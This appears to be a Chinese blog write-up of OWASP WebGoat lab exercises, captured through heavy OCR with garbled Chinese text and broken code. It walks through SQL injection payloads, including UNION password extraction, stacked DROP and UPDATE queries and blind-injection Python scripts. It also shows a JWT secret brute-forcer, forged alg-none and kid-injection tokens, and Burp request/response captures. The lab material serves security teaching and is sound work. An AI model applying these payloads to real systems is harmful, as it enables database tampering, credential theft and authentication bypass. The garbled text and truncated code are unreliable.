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SQL Injection (intro)

0x02

select department from employees where first_name='Bob';

0x03

update employees set department='Sales' where first_name='Tobi';
0x04

alter table employees add column phone varchar(20);

0x05

grant alter table to UnauthorizedUser

0x09

SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'
0x10

account:1

user_id: 1 or true


https://tntaxin.blog.csdn.net
https://blog.csdn.net/he_and/category_8591375.html
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SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or true
0x11

employee name: 1

tan: ' or true -- -
0x12

employee name: '; update employees set salary=1000000 where last_name='Smith';-- -

tan: N IE B BEFIE
0x13

'; drop table access_log;-- -

SQL Injection (advanced)

0x03

name: ' or true union select 1,'2','3"','4"','5"',password, 7 from user_system_data where user_name='dave'-- -

ﬁ?%&iiﬁ%ﬁﬁsql:SELECT * FROM user_data WHERE last name = '' or true union select 1,'2','3','4','5"',password, 7

from user_system_data where user_name='dave'-- -'
B 515 2ldave &g AypassWOrD
0x05

R —IIEN K& AElogin, T & F77E Tregister, F—IF IR B BE— R Rlogin U M PN R, G5 R R IEAMEM T,
FNRE B ZSRBATUTom B3 5 5% Wk, R —MEMRE, RMBEHFARELUONR—AinsertEN, T ¥R, KIAMARinsert
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import requests
from string import printable

chars printable

while True:
i 1
temp result
for char in chars:
data
(i, char)
resp requests.put(vul_url, data=data, headers=headers, cookies=cookies, proxies=proxy)

if in resp.text:
result char

print(result)

if temp result:
break




» jJoomla_blog_calendar_sql_inj_ssvid92590.py @ kibana_cmd_exec_cve20197609.py % apache_solr_cmd_exec_cve20190193.py » webgoat_blind_sqli.py
string printable
printable

« webgoat_blind_sqgl
thisisas
thisisase
thisisasec
thisisasecr
thisisasecre
thisisasecret
thisisasecretf
thisisasecretfo
thisisasecretfor
thisisasecretfort
thisisasecretforto
thisisasecretfortom
thisisasecretfortomo
thisisasecretfortomon
thisisasecretfortomonl
thisisasecretfortomonly
thisisasecretfortomonly&+

B 5 M H RFERG N thisisasecretfortomonly

EREFER EHEKNEREZ THAMMTS, REEEGHE AN, a8 —BmE T
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SQL Injection (mitigation)

0x05
%#0x06. ..

0x06

Connection ct null
ct=DriverManager.getConnection(DBURL,DBUSER,DBPW
PreparedStatement ps=ct.prepareStatement
ps.setString(1
ResultSet rs=ps.executeQuery

Exception e
System.out.println
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#: Idea HiXWebGoat E# #E S % : webgoat-H# #

WebGoat#: ¥ FSpring Boot #%&, Ff LART LA H @PostMapping(). @GetMapping(). @RequestMappin()&siE i sk &b 28 F /- 3¢
EANBAEIIER (Hlphp mveRHZ F B H)
BN FARED, 2 EK /hello B&4ERT, spring bootit £ B 3l Fi Hello() 77 i 34T 4b 22

@ResponseBody
public String Hello() {

return 5

1
J

HIE T _EREXAEIR R, BAVRAEE 2 @A ABEERE) 7VEER T . il 8 A o REE IR RN ANE X ES B =R 2
T: /WebGoat/SqlInjectionMitigations/attackleb , IARMNTEHELFI Rattack10b, AL B3 HF: /WebGoat/webgoat-

lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLessonl@b.java

sql-injection

— son4.jav:

HAREEERKH S, XEEZERFRINMANAREERRTR, REHEHENREALERIELHERRTH EERKR
BIOJUALARRL, X—ABRBESWHE, BER, BEEHMITthis.compileFromString()efi %, X4~ i & 5L S E7E Fljvmn B 3RAT]
REMARE T, BILREABEBIABEEREAZIL, RPMRBEEABRAARER T, ER—NXHE, RXEBCETRITT, %
FRAEE IR T SqlExceptiont#iR, XA K VB HE B AT LUEEWE, FTBL, Bn—Mry ... catch ... kA&
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https://www.anquanke.com/post/id/186417

R—Bth R B, FAEEICEEEREUE T, SERXNERERA EMservers. B T HIXFE

© 000000000 @0

In this assignment try to perform an SQL injection through the ORDER BY field. Try to find the ip address of the webgoat-prd server, guessing the complete ip address might take too long so we give you the last part:
xxx.130.219.202

Note: The submit field of this assignment is NOT vulnerable for an SQL injection.

(2 ™

LIST OF SERVERS

Online - Out Of Order

Hostname % MAC = Status = Description #

IP address webgoat-prd server: | 192.1.0.12

Coom

. S

BRI RERXERE, SEaTmKRR, KT IFNX - —order by SHIHEN, B NBHETserversFIERIER R, RELUN
A LAKIOnline, Offine 2 HEF 14l (233333) , T H¥REFEMIERKME, REVABEERET . .  HEIRMBRE ST
2| Tip,hostname,maciX £&/NEFR, 7 FTEFREMREAMNIRAF 8, MIMEITRE, RIMELERER404, RANEET

Request Response

Baw | Params | Headers | Hex | Baw | Headars | Hex
[BET swebGoat/sqlInjection/servers?column=ip HTTP/1.1 A HITP/1.1 404 Not Found |
Host: localhost:8080 1 Connection: close

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:70.0)
Gecko /20100101 Firefox/70.0

Accept: */*

Accept-Language:

zh-CN, zh; q=0.8,zh-TW; q=0.7, zh-HK; q=0.5,en-US; q=0. 3,en; q=0. 2
Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookile: JSESSIONID=CxkMsH1lgSrchml¥TokLIyU13tI71lrygje_UxbkR;
Hm_lvt_f&f37dc3416ca514857b78d0b158037e=1572405857;
Hm_lpvt_f&f37dc3416ca514857b78d0b158037e=1572493688;
JSESSIONID. 75fbd0%e=7mc 1x91e15]1 4x02a3udkbz1; screenResolution=1920x1080
Pragma: no-cache

Cache-Control: no-cache

B ES!

X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

Content-Type: application/json

Date: Tue, 05 MNov 2019 08:43:31 GMT
{
"t mestamp" @ "2019-11-05TO8:43:31.137+0000",
"status" @ 404,
"error" : "MNot Found",
"message" : "Not Found",
"path" : "/webGoat/Sqlinjection/servers"
1

RIE, BEREIREVERISE)JLIE, Pservers h XA 2R R, BJ5ENF| /opt/WebGoat/webgoat-lessons/sql-

injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java



RIVESHI B B & SqlInjectionMitigations/servers , {H 2R BEIRAZFIHHEEZ /SqlInjection/servers , AT PARRAIZEburp B
EIER MBS — T Rtok T, WILLE 2R Bl fjson$#E T »

payload:

GET /WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,1,1)="0"'%20from%20servers
20where%20hostname="webgoat-prd')%20then%20hostname%20else%20mac%20end HTTP/1.1

Host: localhost:8080

User-Agent: python-requests/2.22.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

X-Requested-With: XMLHttpRequest

Cookie: JSESSIONID=A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99RjOw87fGz; JSESSIONID.75fbd@9e=7mcl1x9iei6jidxo2a3udkbzl




FIREE A BE, R—4boolEiE, Ffcase whenend iBA)HiEAREKHEFKIE, @R [0l i servers IR K7 € B R

Request Response
Raw | Params | Headers | Hex Faw | Headers | Hex
GET A HTTR/1.1 200 0K
fviebGoat/SglinjectionMitigations/servers?colunn=case%20whens20(selects20su [ Connection: close
bstr{ip,1,1)="1'%20f ronfs20servers%s20where%s20hostname="'webgoat-prd' )%20then X-XS5-Protection: 1; mode=block
%20hostname®20e Lse%20mac®20end HTTP/1.1 X-Content-Type-Options: nosniff
Host: Llocalhost:8080 X-Frame-Options: DENY
User-Agent: python-requests/2.22.0 Content-Type: application/json
Accept-Encoding: gzip, deflate Date: Fri, Ol Nov 2019 09:07:40 GMT
Accept: */*
Connection: close [1
X-Requested-With: XMLHttpRequest tigvop o3,
Cookie: JSESSIONID=ASRZdLz- RNDOwvWpMBUzZwWFC - v DxvOSR] Sws7f Gz ; "hostname" :
JSESSIONID. 75fbd0Se=7mc 1xS91e16]1dx02a3udkbz 1 "i1p" : "192.168.3.3",
"mac" : "EF:1Z2:FE:34:AA:CC",
| "status" : "offline",
"description" : "Acceptance server"
1,
tidv o1,
"hostname" : "webgoat-dev",
"ip" @ "192.168.4.0",
"mac" : "AA:BB:11:2Z:CC:DD",
"status" : "online",
"description" : "Development server"
1,
ridv oA,
| "hostname" : "webgoat-pre-prod",
"ip" @ "192.168.6.4",
"mac" : "EF:1Z2:FE:34:AA:CC",
"status" : "offline",
"description" : "Pre-production server"
1,
ride o2,
"hostname" : "webgoat-tst",
"iph : 1192,168.2.1%,
"mac" : "EE:FF:33:44:AB:CD",
"status" : "online",
"description" : "Test server"
11
Request Response

Baw | Params | Heackrs | Hex Baw | Heackrs | Hex

GET HTTR/1.1 200 OK
/WebGoat/SqlinjectionMitigations/servers?column=case’20whens20(select®20su Connection: close
bstriip,1,1)='0"'%20f roms20servers%s2owhere%2chostname='webgoat-prd' )%20then X-XS5-Protection: 1; mode=block
%20hostname%20else%20macs20end HTTP/1.1 X-Content-Type-Options: nosniff
Host: localhost:g8080 X-Frame-Options: DENY

User- Agent: python-requests/2.22.0 Content-Type: application/json
:Accept-Encoding: gzip, deflate Date: Fri, 0Ol Nov 2019 09:30:04 GMT
s Accept: */*
Connection: close [ 1

X-Requested-With: XMLHttpRequest tigh o om1n,

Cookle: JSESSIONID=AERZdLz- RNDOwWWWpMEUzZwWFC - vjDxvO9R] 9we7f Gz ; "hostname" : "webgoat-dev",
JSESSIONID. 75fhd0%9e=7me 1x91e16)14x02a3udkbz1 "ip" i "192.168.4.0",

"mac" : "AA:BB:11:22:CC:DD",
"status" : "online",
"description" : "Development server®

'

tidv o ovav,

"hostname" : "webgoat-tst",
"ipt s "192.168.2.1",

"mac" : "EE:FF:33:44:AB:CD",
"status" : "online",
"description" : "Test server"

tignorom3e,

"hostname" : "webgoat-acc",

"ip" ; "192.168.3.3",

"mac" : "EF:12:FE:34:AA:CC",

"status" : "offline",

"description" : "Acceptance server"
oA

tide o omae,

"hostname" : "webgoat-pre-prod",

"ip" : "192.168.6.4",

| "mac" : "EF:12:FE:34:AA:CC",
"status" : "offline",
"description" : "Pre-production server"

bl

R bR B, mEMA



import requests
from string import digits

chars digits

temp result
for char in chars

vul_url

i, char

resp requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy

if in resp.json
result char
print(result
if temp result

break

i4+=1
temp = resul
char

=proxy)

while True

goat_orderby_sqli

Bt

.13

.130
.130.
.130.2
130.21
.130.219
130.219
.130.219.
130.219
.130.219.
130.219 https:/blog.csdn.nethe_and
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H e Fcase when() then ... else ... endi&f], Wl HRER IR BMAMAIsqiEa), —HHREEMNLEELHERS, SRMIEEES

BHRT

order by #4E¥EANS % order byiE A
Authentication Bypasses

0x02

Request

Baw | Params | Headers | Hex

Response

Raw | Heackrs | Hex

POST /WebGoat/auth-bypass/verify-account HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0)
Gecko/20100101 Firefox/70.0

Accept: */%

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-wWith: XMLHttpReguest

Content-Length: 88

origin: http://localhost:so80

Connectlon: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookie: JSESSIONID=ASRZLz- RNDOwvWpMBUzwFC - v]Dxv9SR] Sws7f Gz ;
Hm_lvt_f6f37dc3416ca514857b78dob 1580372=1572405857 ;
Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572493685;
JSESSIONID. 75Thd0Se=7mc1x91e16]14x02a3udkbzl; screenResolution=1920x1080

secQuestionS=123&secQuestion3=123&) sEnabled=0&ver1fyMethod=SEC_QUESTIONSEU

!
SET IU—L22"

=
L= |

JWT tokens

0x04 )5 &5 R K IESE 4

b

HTTR/1.1 200 OK

Connection: close
¥-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
K-Frame-Options: DENY
Content-Type: application/json

Date: Fri, 01 Mov 2019 10:44:50 GMT
{
"lessonCompleted" : true,
"feedback® "Congrats, you have successfully verified the account

without actually verifying it. You can now change your password!",
"output" : onull

Zhttps://jwt.ioftdebuggerf#iGjwt-token, 2R J5Eadminytrue /s A T H K A4 & Fr dmidheader Spayload A ER ML H 5, K

EIER

Request
Raw | Params | Headers | Hex

Response

Raw | Heackrs | Hex

POST /WebGoat/JwT /votings HITP/1.1

Host: localhost:s0s0

User-Agent: MozillasS.o (X11; Ubuntu; Linux x85_64; rv:70.0)
Gecko/20100101 Firefox/70.0

Accept: #/%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Origin: http://localhost:8080

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookie:
access_token=eylhbGeci01 Jub251In0. eylpY XQ10jELNZMONZ AwM] UsImFkbWlul jo1dHI1Z
SISINVzZXI101JKZXIyesio. ;
JSESSIONID=AGRZdLz - RNDOwWVWpMBLZWFC - v] DX vOoR] Swe7f Gz
Hm_lvt_f6f37dc3416cas14857b78d0b 1580372=1572405857;
Hm_Lpvt_fef37dc3416ca514857h78dob 158037e=15724932685;

JSESSIONID. 75fbdo9e=7mc 1x91e16]14x02a3udkbz1; screenResolutlon=1920x1080
Content-Length: ©

IS

HTTP/1.1 200 OK

Connection:

close

X-%SS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Optlons: DENY
Content-Type: application/json

Date:

{

assignment.",

}

Fri, 01 Nov 2019 12:42:14 GMT

"lessonCompleted" - true

"feedback" "Congratulations. You have Euccess‘ully completed the

"output" : null


http://www.beesfun.com/2017/03/22/MySQL%25E6%25B3%25A8%25E5%2585%25A5%25E7%25B3%25BB%25E5%2588%2597%25E4%25B9%258Border-by-%25E6%25B3%25A8%25E5%2585%25A5-%25E4%25BA%258C/

def b64urlencode(data):
return base64.b64encode(data).replace(b , b ).replace(b

print(b64urlencode(b )+b b64urlencode(b
)

Wtz 4 i S %
http://4hou.win/wordpress/?p=23278
https://zhuanlan.zhihu.com/p/71672282
https://segmentfault.com/a/1190000010312468

0x05 jwtiEmk

% https://www.freebuf.com/vuls/216457.html
TELIBAE: https:/jwt.io/#debugger

).replace(b , b'")

FLSE AW 5C B 1 R AR 4 JURN, #ERA—ToiT T, XEBE R 1ii#secret key,github EHASCIBRIRR IR ISR, ER
EHFER—ANFR—ANFRRN, FORE, RIERE T JLRERRB LR, E2 JIERBRE. BT UHAwWEE TS
—AMAA, AT PR M github EBLREIEIA, X ApythonfR A R E T 740K, FTULEBRER M EKH TR, BT
RAGIRK, SBERIVKEBABRBLR, Fril, REZEFEHEEBL T /L secret key FIRMBIRM TR AT, XL keyln

T
"victory","business","available", "shipping", "washington"

BBMA (FEACREFIO -



import termcolor

with
for line in f
key = line.strip
try
jwt.decode(jwt_str key=key
print termcolor.colored(key
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions
validIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError
print termcolor.colored(key
break
except jwt.exceptions.InvalidSignatureError
print 64 key , end
continue
else

print

@ apache_solr_cmd_exec_cve20190193.py e Wwebgoat_blind_sqli.py e dlink_dsl_2750B_cmd_exec.py edlink_cmd_
termcolor

name

RN

line
key =

ne.strip()

f
11

jwt.decode(jwt str =key )
{ termcolor.colored(key )

(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, j
( termcolor.colored(key ) )

jwt.exceptions.InvalidSignatureError:
( * 64 key

if_name__—"__main__"  with open(’/opt/burp/pass.txt')--- * else
webgoat_jwt_brute

bingo! found key -->



https://jwt.io/#debugger

eyJhbGci0iJIUzI1NiJ9. eyJpc3Mi0iJXZWIHb2F
OIFRva2VuIEJ1aWxkZXIiLCJhdWQi01iJ3ZWJInb2F
OLm9yZyIsImlhdCI6MTU3MikyNTgz0SwiZXhwIjo
XxNTcyOTQ10Dk5LCJzdWIi0iJ8b21Ad2ViZ29hdC5
vemeilCJ1c2VybmFtZSI6I1d1YkdvYXQiLCJFbWF
pbCI6INRvbUB3ZWJInb2FBLMIyZyIsI1JvbGUi0ls
iTWFuYWd1ciIsI1Byb2plY3QgQWRtaW5pc3RyYXR
vciJdfQ.63-IFIIf_jIdrEnpWHTc1v-
5c1uAQYfuTag50Kg4F4E

4 Signature Verified

{
"alg": "HS256"

}

PAYLOAD: DATA

{

"iss": "WebGoat Token Builder"”,
"aud": "webgoat.org”,

"jat": 1572025830

"exp": 1572945899,

"sub”: "tomlwebgoat.org"”,
Lﬁmame": "WebGoat", |
mail :  LomdweDgoatr.org

"Role": [
"Manager”,
"Project Administrator”
]
}

VERIFY SIGNATURE

HMACSHA256 (
base64UrlEncode(header) + "." +

| shipping |

) [ secret base64 encoded

SHARE JWT

RIEEEE R K jwi-tokenEIRAZFF T, RIS HRKjwt-tokenT i 1, MAKRMFshB T EH MexprE G AR E)D

0x07

XR—EHBRKEE, RE TR rxHKwriteup, T f# T refresh token5access token, #E 3| T log X 44+ A tomijaccess
token, FTUAE T RKMEER: FAIE 2 Hrefresh tokenZ: il Frtom T #ifflaccess token, 4R J5 Ftomiflaccess tokenk i+ #KiE
Ko HRERIFAFIEELRPNE H 2 Hrefresh token, X A2 H KA G, & E P HEEERIIEE, FTURKERIESIEEE R

T? MARMXAEFHBENTABRT . £2RER:

/refresh/checkout ,SEMI B M: /opt/WebGoat/webgoat-

lessons/jwt/src/main/java/org/owasp/webgoat/jwt/IWTRefreshEndpoint.java



hEnd

T LAE BIVRRL h i se ¥ it T AN B S Thee, 1 B BRI & iR Al Jerryiirefresh token5access token, F8 -4 5t 18 BATT NI R ) &
SRIE, Fburpfyit B FiER, X BKEFERE T EZjsontE .

Request Response

Baw | Params | Heacers | Hex Baw | Headers | Hex

POST /wWebGoat,/IWT /refresh/login HTTP/1.1

Y HITR/1.1 200 OK 1
Host: localhost:8080 r Connection: close |
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:70.0) X- XS5-Protection: 1; mode=block
Gecko/ /20100101 Firefox/70.0 X-Content-Type-Options: nosniff
Accept: */#* ¥-Frame-Options: DENY
Accept-Language: Content-Type: application/json
zh-CN, zh;q=0.8,zh-TW;g=0.7,zh-HK; q=0.5, en-US; g=0.3,en; q=0.2 Date: Tue, 05 MNov 2019 10:33:44 GMT
Accept-Encoding: gzip, deflate
Content-Type:har‘set:UTF-B {
X-Requested-WIth: XMLHLTIpREqUES "access_token"
Origin: http://localhost:8030 "eylhbGel01JIUzUxML 9. ey IhZG1pbliISI mZhbHNLI1widXNLc1I6IkplendSIng. Z- AX2L0T
Connection: close uubBLEY ] SMmyVADU7tK40gLSh1EJeRglDDaGz5 H- SrexH1MYHoI xRy ApnOP7NfFonP3rowlyY
Feferer: http://localhost:8080/WebGoat/start.mvc Sq1OA"
Cookle: JSESSIONID=CxkMsHilLgSrchmiWToKLIyUIZtI7Lrygje_UxbkR; "refresh_token" : "DsHtelaFMidwTRsSULLb"
Hm_lvt_f&f37dc3416ca514857b78d0b 158037e=1572405857;
Hm_lpvt_fsf37dc3416cas514857b78dob158037e=1572493638;
JSESSIONID. 75fbd09e=7mc1x9ie16]14x02a3udkbz1; screenResolution=1920x1080

Pragma: no-cache
Cache-Control: no-cache
Content-Length: 53

{"user": "Jerry", "password": "bmSnhSkxCxZkKRyk"}

Frefresh tokenZ fil#7 tomfaccess token(iX /Ml Frtokenf W &R H HiF R R, RAEIERMG)



Request

Raw | Params | Heackrs | Hex

Response

Raw | Heackrs | Hex

POST fWebGoathwIfrefreshfnewToken j TP/1.1 A HTTP/1.1 200 CK

Host: localhost: i Connection: close

User-Agent: Mozillay/S.0 (X11; Ubuntu; Linux xB86_64; rv:70.0) X-XSS-Protection: 1; mode=block

Gecko/20100101 Firefox/70.0 X-Content-Type-Options: nosniff

Accept: */% X-Frame-Options: DENY

Accept-Language: Content-Type: application/]son

zh-CN,zh;q=0.8,zh-TW; q=0.7,zh-HK; g=0.5,en-US; q=0.3,en;g=0.2 Date: Tue, 05 Nov 2019 10:38:16 GMT

Accept-Encoding: gzip, deflate

Content-Type:| application/jseny] charset=UTF-8 {

X-Requested- T XMCATTPREqUEs t "access_token"

origin: http://localhost:8080 "eylhbGel 0L T UzUxML 19, ey IhZG1pb1 I6ImZhbHNLI 1wl dXNle1 161 LRvbSI9. adyUoDOUvEL
Connection: close 7ICs-HsESc ralHG_usY DTkmX1 GH) F7Gd I ZVZWCTurWBBUNWOL ] abef 4vNGILXAEVWY UEMATOS
Referer: http://localhost:8080/WebGoat/start.mvc Gg"

Cookie: JSESSIONID=CxkMsHLlgSrChmUyToKLIyUI3ta7Lryg)e_UxbkR; "refresh_token" "KAQqGHkexY CLXN11aaGp"
Hm_lvt_f6&f37dc3416ca514857b78d0b158037e=1572405857;

Hm_lpvt_f6&f37dc3416ca514857b78d0b 158037e=1572493688;

e W St e ] N | =, 1 o o ] Al -1 = Y Gl 1

- J 0

Authorization:

eyJhbGe1 01 JTUzUxML I9. ey IpYXQ1 0] E1M] Y xMzEOMT EsImV4c CI BMT LUyN] I xNzgxMSw1YWRta

WALOLImYWxzZSIsInVzZXI101 JUb201 f Q. DCoag@z Ok yDH2SECWWK cdby Wi UL4cSD4 ] Rysgoqy

191 Ad4gugmkcchf bUBFNzeBNFStLeFXHZLUAyRkg- bjm7 g

o 1™

SRR

Cache-cControl: no-cache

Content-Length: 45

{"refresh_token": "DsHteJaFMidwTRsSUL1b"}
Fi&F|fitom access_tokenZAF#K, finally, we gotit!

Request Response

Faw | Params | Heacers | Hex Raw | Heackrs | Hex
POST webGoat/JWT frefresh/checkout HTTP/1.1 N HTTP/1.1 200 OK A
Host: localhost:8080 ™ Connection: close r
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:70.0) X-XSS-Protection: 1; mode=block

Gecko/20100101 Firefox/70.0

Accept: #/%

Accept-Language:

zh-CN,zh; q=0.8,zh-TwW;q=0.7,zh-HK; q=0.5, en- US; q=0.3,en; q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
¥-Requested-With: XMLHttpRequest

origin: http://localhest:g080

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookie: JSESSIOMID=CxkMsH1lgSrchmUyToKLIyUI3tI7lrygie_UxbkR;
Hm_Llvt_f6f37dc3416ca514857b78d0b158037e=1572405857;
Hm_Lpvt_f6f37dc3416ca514857h78d0b158037=1572493658;
JSESSIONID. 75fbd0Se=7mclx91e16]14x02a3udkbzl; screenResolution=1920x1080
Pragma: no-cache

Authorization:
eyJhbGe101JTUzUxML 9. eyIhZG1pbl IBImZhbHNLI 1widXNle1 161 LRvbSIS. adyUoDOUVEL 7
ICs-HsEScralHG_uBYDTkm)i GH] F7Gd ] ZVZWCT urWBBunWSL | abBf 4vNG31XAEVWY LEmAOSGY|

Cache-Control: no-cache
.

AR=iap =gy

0x08

EIwireEERE B

X-Content-Type-Options: nosniff
X-Frame-Options: DENY

Content-Type: application/json
Date: Tues, 05 Mov 2019 10:39:53 GMT

{

"lessonCompleted" e
"feedback" : ongratulations. Yol have successfully completed the
assignment.",

"output" @ null




Encoded Decoded

HEADER: A
eyJBeXA10iJKV1QiLCJraWQiOiJ3ZWInb2FeX2t1
eSIsImFsZyI6IkhTMjU2In@.eyJpc3Mi0iJXZWIH e
b2FBIFRva2VuIEJ1alxkZXTiLCIpYXQi0FETMjQy | R
MTASMDQsImV4cCI6MTYXODKWNTMWNCwiYXVKIjoi alg T THSZ5E
d2Viz29hdC5vemcil CJzdWIi0iJqZXJyeUB3ZWIn !
b2FBLmNvbSIsInVzZXJuYWT11IjoiSmVycnkilCJF PAYLOAD: it
bWFpbCI6ImplcnJ5QHd1YmdvYXQuY29tIiwilUm9s
ZSI6WyJDYXQiXXe.CgZ27DzgVW8gzcOn6iz0U638 {
uUCi6Uhi0JKYzoEZGES 'iss”: "WebGoat Token Builder”,

"iat": 1524218984,
'exp”: 16189085384,

"aud": "webgoat.org”,

'sub”: "jerry@webgoat.com”,
'username” : "Jerry",

'Email": "jerry@webgoat.com",
"Role": |

'Cat”

XKKjwt fheaderdfi B &£ T —Mkid [ERIE N — NG EIFAMERINMRAEEH . REZRT EHEEL ULBEINERE

AnonedE 7 AERBLA T, BRA R B & #H T —3 T M.

src main ; ™ java org p [ jwt JWTFinalEndpoint

Sqlinjection SqlinjectionLessonl0a.java SglinjectionLesson10b.java Servers.java SqlinjectionLesson12a.java JWTFinalEndpoint.java

).build())

) .output(e.toString()).build())

JWTFinalEndpoint

#: javasLBiws%

T P R R ) AR K A R R WL BRI i 2k, 4 B L3R P42 B sq i ) b LA BOHE P H 3R Bt secret key, BT T3X B #sqliF A1)
KABEESERN TR, WRARAMGFEETREHE, FrUfFEsqiEN, A4 BATRT LA X ANE AR Z flserect key I H -


http://www.gxitsky.com/2019/05/20/distributed-micro-app-1-jwt-token/

REEIFHIER T A/MER, BOATERB|secret WEHE FE U RIS B L [ T —kBase64.decode(), T LA, FATIX BLIE N BT 5%

1EEAN—base644ii%id J5 fisecret key, payload T :

' union select 'YXhpbg==' from jwt_keys where id='webgoat_key ,YXhpbg==raxingmidit /51, Frtl, BATIXERK

secret keyfA i Faxin, # )5 — TFuserame yTom, 4 Ejwt

EnCOd ed PASTE ATOKEMN HERE

eyJBeXAi0iJKV1QiLCJraWQiOiInIHVuaW9uIHNL
bGVjdCAnWVhocGJnPTONIGZyb2Bgand@X2tleXMg
d2hlcmUgaWQ9J3d1YmdvYXRfa2V5IiwiYWxnIjoi
SFMyNTYifQ.eyJpc3Mi0iJXZWJHb2FOIFRva2Vul
EJ1aWxkZXIiLCJpYXQi0jETMjQyMTASMDQsImV4c
CI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vce
mcilCJzdWIi0iJUb21Ad2ViZ29hdC5jb28ilLCJ1c
2VybmFtZSI6I1RvbSIsTkVtYWlsIjoiamVycnlAd
2ViZ29hdC5jb20ilLCJSb2x1IjpbIkNhdCJdfQ.Yy
028i3dF2UsoFbc8bQuZAFskmXsz7YajOm2E-
CkrtQ

WJE RIZERMTEIL

-

Decoded EDIT THE PAYLOAD AND SECRET
HEADER: ALGORITHM & TOKEN TYPE
"t)«'p” N "JWT"‘
| id="webgoat_key"
"alg": "HS256"
i

PAYLOAD: DATA

"iss": "WebGoat Token Builder"
"iat": 1524218984
'exp”: 1618985304
'aud” : "webgoat.org"
'sub": "Tom@webgoat.com"
| "username”: "Tom"
Email™: "jerry@webgoat.com"
"Role”: [
"Cat”

VERIFY SIGNATURE

HMACSHA256 (
baseb4UrlEncode(header) + "." +
base64Ur1Encode(payload)

| axin |

) secret base64 encoded

—

POST

/fwebGoat/wT /final/delete? token=eyl0eXA101 JKV1QLLC raWQl Ol InIHVUaWIUIHNLLG
V] dCANWYhoc GINPTONIGZyb20gand0x2t Le XMgd2h LemlUgawQad 3dLY mdvy XRf aZVSI 1wiYWxn
I70iSFMyNTY1fQ. eyJpcaMiol ) XZWIHb2FOI FRya2VUI E] 1aWxk ZXI1LCIpY X1 0] ELM] QyMT A
1 SMDOSImVAcCT EMTY % 0Dk whNT MwNCw1 ¥ Xk I Jo1d2v1 Z26hd CSvemc1 LC)zdwWI1 01 JUb21Ad2V1 Z
125hdC5b201 LI 1c2VybmFtZSI 61 LRvbSTIs Tk Vil s joiamvycnlad2vizzehdcsib2oi L)
| Sb2x 11 ] pbIknhdcidfq. yyQ28i 3dF2UsoFbesbquzAFskmXsz 7Y ajomzE- ckrtQ HTTP/1.1
|Host: localhost:2080

|User-Agent: Mozillay/sS.0 (X11; Ubuntu; Linux x86_64; rv:70.0)
1Gecko/20100101 Firefox/70.0

|Accept: */*

|Accept-Language:

1zh-CN,zh; g=0.8,zh-TW;q=0.7,zh-HK; q=0.5,en- US; g=0. 3, en; g=0. 2
|Accept-Encoding: gzip, deflate

Content-Type: application/x-www-Torm-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequast

origin: http://localhost:8080

Connection: close

Referer: http://localhost:8080/wWebGoat/start.mve

Cookie: JSESSIONID=CxkMsHilgSrchmUyTokLIyul3td7lrygje_UxbkR;

Hm lvt f&f37dc3416ca514857b78d0b158037e=1572405857;

Hm lpvt f&f37de3416ca514857b78d0b 158037e=1572493688;

JSESSIONID. 75fbd0%e=7mclx91e16]14x02a3u4kbz1; screenResolution=1920x1080
Content-Length: O

Password reset

0x04

i HITR/1.1 200 OK

Connection: close

¥-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DEMY

Content-Type: application/json
Date: Tue, 05 Mov 2018 13:42:35 GMT

{

"lessonCompleted" : true,

"feedback" : "Congratulations. You have successfully completed the
assignment.",

"output" : null

FAZE BRI RERNF ORI A, Bk —E%E DB OHR 78, RERH



fttack Save Col s
J Rasul ts T Target I Positicns T Payl cads I Opticns ]

| Filter: Shoving all itews

Fe. .. & Paylead | Status | Errer | Tim .. |Length | Comeert
0 20 L] [ 317
1 red a0 L] [ =17
2 Al ] oy 2m [ [ 317
3 Iﬁﬁiaill 2 328
4 EIE 2m B B 317
5 prrle a0 L] [ =17
B white 20 L] [ 317
T bl ack a0 L] [ =17
] CrETEE 20 L] [ 37
9 pink a0 L] [ =17
10 broun 20 L] [ 317
11 grey a0 L] [ =17

r—

_JR&WTIE@&WS TH&{]

HTTR/1.1 200 0K

Connection: close

X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

Content-Type: application/json
Date: Sun, 03 Nov 2019 02:42:14 GMT

{
"lessonCompleted" : true,
"feedback" : "Congratulations.|You have successfully completed the|assignment.",
"output" : null

1

0x06

R FERFANEEFEEALHAAGRSBHE, SREREEN SR ERBhostH B EEHRE LT, FHIAITLL
